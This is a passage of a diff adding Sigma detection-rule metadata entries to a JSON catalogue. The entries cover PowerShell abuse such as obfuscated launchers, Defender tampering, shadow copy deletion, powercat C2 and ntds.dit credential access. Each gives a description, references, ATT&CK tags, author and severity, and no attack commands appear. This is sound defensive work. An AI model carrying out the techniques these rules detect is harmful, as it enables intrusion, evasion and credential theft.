"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_wmi_consumer_namedpipe.yml" + ], + "tags": [ + "attack.t1047", + "attack.execution" + ], + "creation_date": "2021/09/01", + "filename": "pipe_created_susp_wmi_consumer_namedpipe.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", + "uuid": "d7326048-328b-4d5e-98af-86e84b17c765", + "value": "Alternate PowerShell Hosts", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190815181010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_alternate_powershell_hosts.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/08/11", + "filename": "posh_pc_alternate_powershell_hosts.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "medium", + "falsepositive": [ + "Programs using PowerShell directly without invocation of a dedicated interpreter", + "MSP Detection Searcher", + "Citrix ConfigSync.ps1" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Shadow Copies deletion using operating systems utilities via PowerShell", + "uuid": "87df9ee1-5416-453a-8a08-e8d4a51e9ce1", + "value": "Delete Volume Shadow Copies Via WMI With PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md", + "https://www.fortinet.com/blog/threat-research/stomping-shadow-copies-a-second-look-into-deletion-methods", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_delete_volume_shadow_copies.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2021/06/03", + "filename": "posh_pc_delete_volume_shadow_copies.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0", + "uuid": "6331d09b-4785-4c13-980f-f96661356249", + "value": "PowerShell Downgrade Attack", + "meta": { + "refs": [ + "http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_downgrade_attack.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/22", + "filename": "posh_pc_downgrade_attack.yml", + "author": "Florian Roth (rule), Lee Holmes (idea), Harish Segar (improvements)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell called from an executable by the version mismatch method", + "uuid": "c70e019b-1479-4b65-b0cc-cd0c6093a599", + "value": "PowerShell Called from an Executable Version Mismatch", + "meta": { + "refs": [ + "https://adsecurity.org/?p=2921", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_exe_calling_ps.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_pc_exe_calling_ps.yml", + "author": "Sean Metcalf (source), Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", + "uuid": "c5b20776-639a-49bf-94c7-84f912b91c15", + "value": "Netcat The Powershell Version", + "meta": { + "refs": [ + "https://nmap.org/ncat/", + "https://github.com/besimorhino/powercat", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_powercat.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1095" + ], + "creation_date": "2021/07/21", + "filename": "posh_pc_powercat.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote PowerShell sessions", + "uuid": "60167e5c-84b2-4c95-a7ac-86281f27c445", + "value": "Remote PowerShell Session (PS Classic)", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_remote_powershell_session.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.006" + ], + "creation_date": "2019/08/10", + "filename": "posh_pc_remote_powershell_session.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Legitimate use remote PowerShell sessions" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Detects renamed powershell", + "uuid": "30a8cb77-8eb3-4cfb-8e79-ad457c5a4592", + "value": "Renamed Powershell Under Powershell Channel", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_renamed_powershell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/06/29", + "filename": "posh_pc_renamed_powershell.yml", + "author": "Harish Segar, frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", + "uuid": "f65e22f9-819e-4f96-9c7b-498364ae7a25", + "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_athremotefxvgpudisablementcommand.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/07/13", + "filename": "posh_pc_susp_athremotefxvgpudisablementcommand.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell download command", + "uuid": "3236fcd0-b7e3-4433-b4f8-86ad61a9af2d", + "value": "Suspicious PowerShell Download", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_download.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_pc_susp_download.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "PowerShell scripts that download content from the Internet" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", + "uuid": "b366adb4-d63d-422d-8a2c-186463b5ded0", + "value": "Use Get-NetTCPConnection", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_get_nettcpconnection.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049" + ], + "creation_date": "2021/12/10", + "filename": "posh_pc_susp_get_nettcpconnection.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", + "uuid": "71ff406e-b633-4989-96ec-bc49d825a412", + "value": "Zip A Folder With PowerShell For Staging In Temp", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_zip_compress.yml" + ], + "tags": [ + "attack.collection", + "attack.t1074.001" + ], + "creation_date": "2021/07/20", + "filename": "posh_pc_susp_zip_compress.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Attempting to disable scheduled scanning and other parts of windows defender atp. Or set default actions to allow.", + "uuid": "ec19ebab-72dc-40e1-9728-4c0b805d722c", + "value": "Tamper Windows Defender - PSClassic", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_tamper_with_windows_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/06/07", + "filename": "posh_pc_tamper_with_windows_defender.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_classic_provider_start", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.", + "uuid": "df9a0e0e-fedb-4d6c-8668-d765dfc92aa7", + "value": "Suspicious Non PowerShell WSMAN COM Provider", + "meta": { + "refs": [ + "https://twitter.com/chadtilbury/status/1275851297770610688", + "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/", + "https://github.com/bohops/WSMan-WinRM", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_wsman_com_provider_no_powershell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.003" + ], + "creation_date": "2020/06/24", + "filename": "posh_pc_wsman_com_provider_no_powershell.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious powershell process which includes bxor command, alternative obfuscation method to b64 encoded commands.", + "uuid": "812837bb-b17f-45e9-8bd0-0ec35d2e3bd6", + "value": "Suspicious XOR Encoded PowerShell Command Line", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=46", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_xor_commandline.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/06/29", + "filename": "posh_pc_xor_commandline.yml", + "author": "Teymur Kheirkhabarov, Harish Segar (rule)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", + "uuid": "64e8e417-c19a-475a-8d19-98ea705394cc", + "value": "Alternate PowerShell Hosts", + "meta": { + "refs": [ + "https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_alternate_powershell_hosts.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/08/11", + "filename": "posh_pm_alternate_powershell_hosts.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "medium", + "falsepositive": [ + "Programs using PowerShell directly without invocation of a dedicated interpreter", + "MSP Detection Searcher", + "Citrix ConfigSync.ps1" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including\nCobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads \nthat often undergo minimal changes by attackers due to bad opsec.\n", + "uuid": "8d31a8ce-46b5-4dd6-bdc3-680931f1db86", + "value": "Bad Opsec Powershell Code Artifacts", + "meta": { + "refs": [ + "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/", + "https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/", + "https://www.mdeditor.tw/pl/pgRt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_bad_opsec_artifacts.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "posh_pm_bad_opsec_artifacts.yml", + "author": "ok @securonix invrep_de, oscd.community", + "level": "critical", + "falsepositive": [ + "Moderate-to-low; Despite the shorter length/lower entropy for some of these, because of high specificity, fp appears to be fairly limited in many environments." + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects keywords that could indicate clearing PowerShell history", + "uuid": "f99276ad-d122-4989-a09a-d00904a5f9d2", + "value": "Clear PowerShell History", + "meta": { + "refs": [ + "https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_clear_powershell_history.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ], + "creation_date": "2019/10/25", + "filename": "posh_pm_clear_powershell_history.yml", + "author": "Ilyas Ochkov, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files.", + "uuid": "1ddc1472-8e52-4f7d-9f11-eab14fc171f5", + "value": "PowerShell Decompress Commands", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/8", + "https://threathunterplaybook.com/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_decompress_commands.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140" + ], + "creation_date": "2020/05/02", + "filename": "posh_pm_decompress_commands.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "informational", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious invocation of the Get-ADDBAccount script that reads from a ntds.dit file and may be used to get access to credentials without using any credential dumpers", + "uuid": "b140afd9-474b-4072-958e-2ebb435abd68", + "value": "Suspicious Get-ADDBAccount Usage", + "meta": { + "refs": [ + "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", + "https://github.com/MichaelGrafnetter/DSInternals/blob/7ba59c12ee9a1cb430d7dc186a3366842dd612c8/Documentation/PowerShell/Get-ADDBAccount.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_addbaccount.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ], + "creation_date": "2022/03/16", + "filename": "posh_pm_get_addbaccount.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "A General detection for the Get-Clipboard commands in PowerShell logs. This could be an adversary capturing clipboard contents.", + "uuid": "4cbd4f12-2e22-43e3-882f-bff3247ffb78", + "value": "PowerShell Get Clipboard", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/16", + "https://threathunterplaybook.com/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_clipboard.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ], + "creation_date": "2020/05/02", + "filename": "posh_pm_get_clipboard.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", + "uuid": "a136cde0-61ad-4a61-9b82-8dc490e60dd2", + "value": "Invoke-Obfuscation CLIP+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "posh_pm_invoke_obfuscation_clip.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below", + "uuid": "2f211361-7dce-442d-b78a-c04039677378", + "value": "Invoke-Obfuscation Obfuscated IEX Invocation", + "meta": { + "refs": [ + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_obfuscated_iex.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/11/08", + "filename": "posh_pm_invoke_obfuscation_obfuscated_iex.yml", + "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of stdin to execute PowerShell", + "uuid": "9ac8b09b-45de-4a07-9da1-0de8c09304a3", + "value": "Invoke-Obfuscation STDIN+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "posh_pm_invoke_obfuscation_stdin.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", + "uuid": "6bfb8fa7-b2e7-4f6c-8d9d-824e5d06ea9e", + "value": "Invoke-Obfuscation VAR+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "posh_pm_invoke_obfuscation_var.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", + "uuid": "7034cbbb-cc55-4dc2-8dad-36c0b942e8f1", + "value": "Invoke-Obfuscation COMPRESS OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_compress.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "posh_pm_invoke_obfuscation_via_compress.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", + "uuid": "a23791fe-8846-485a-b16b-ca691e1b03d4", + "value": "Invoke-Obfuscation RUNDLL LAUNCHER", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_rundll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "posh_pm_invoke_obfuscation_via_rundll.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via Stdin in Scripts", + "uuid": "c72aca44-8d52-45ad-8f81-f96c4d3c755e", + "value": "Invoke-Obfuscation Via Stdin", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/12", + "filename": "posh_pm_invoke_obfuscation_via_stdin.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", + "uuid": "ebdf49d8-b89c-46c9-8fdf-2c308406f6bd", + "value": "Invoke-Obfuscation Via Use Clip", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "posh_pm_invoke_obfuscation_via_use_clip.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", + "uuid": "07ad2ea8-6a55-4ac6-bf3e-91b8e59676eb", + "value": "Invoke-Obfuscation Via Use MSHTA", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_mhsta.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/08", + "filename": "posh_pm_invoke_obfuscation_via_use_mhsta.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", + "uuid": "88a22f69-62f9-4b8a-aa00-6b0212f2f05a", + "value": "Invoke-Obfuscation Via Use Rundll32", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/10/08", + "filename": "posh_pm_invoke_obfuscation_via_use_rundll32.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", + "uuid": "f3c89218-8c3d-4ba9-9974-f1d8e6a1b4a6", + "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "posh_pm_invoke_obfuscation_via_var.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", + "uuid": "bf7286e7-c0be-460b-a7e8-5b2e07ecc2f2", + "value": "Netcat The Powershell Version", + "meta": { + "refs": [ + "https://nmap.org/ncat/", + "https://github.com/besimorhino/powercat", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_powercat.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1095" + ], + "creation_date": "2021/07/21", + "filename": "posh_pm_powercat.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote PowerShell sessions", + "uuid": "96b9f619-aa91-478f-bacb-c3e50f8df575", + "value": "Remote PowerShell Session (PS Module)", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_remote_powershell_session.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.006" + ], + "creation_date": "2019/08/10", + "filename": "posh_pm_remote_powershell_session.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", + "level": "high", + "falsepositive": [ + "Legitimate use remote PowerShell sessions" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n", + "uuid": "815bfc17-7fc6-4908-a55e-2f37b98cedb4", + "value": "AD Groups Or Users Enumeration Using PowerShell - PoshModule", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_ad_group_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2021/12/15", + "filename": "posh_pm_susp_ad_group_reco.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Administrator script" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", + "uuid": "38a7625e-b2cb-485d-b83d-aff137d859f4", + "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_athremotefxvgpudisablementcommand.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/07/13", + "filename": "posh_pm_susp_athremotefxvgpudisablementcommand.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell download command", + "uuid": "de41232e-12e8-49fa-86bc-c05c7e722df9", + "value": "Suspicious PowerShell Download", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_download.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_pm_susp_download.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "PowerShell scripts that download content from the Internet" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or 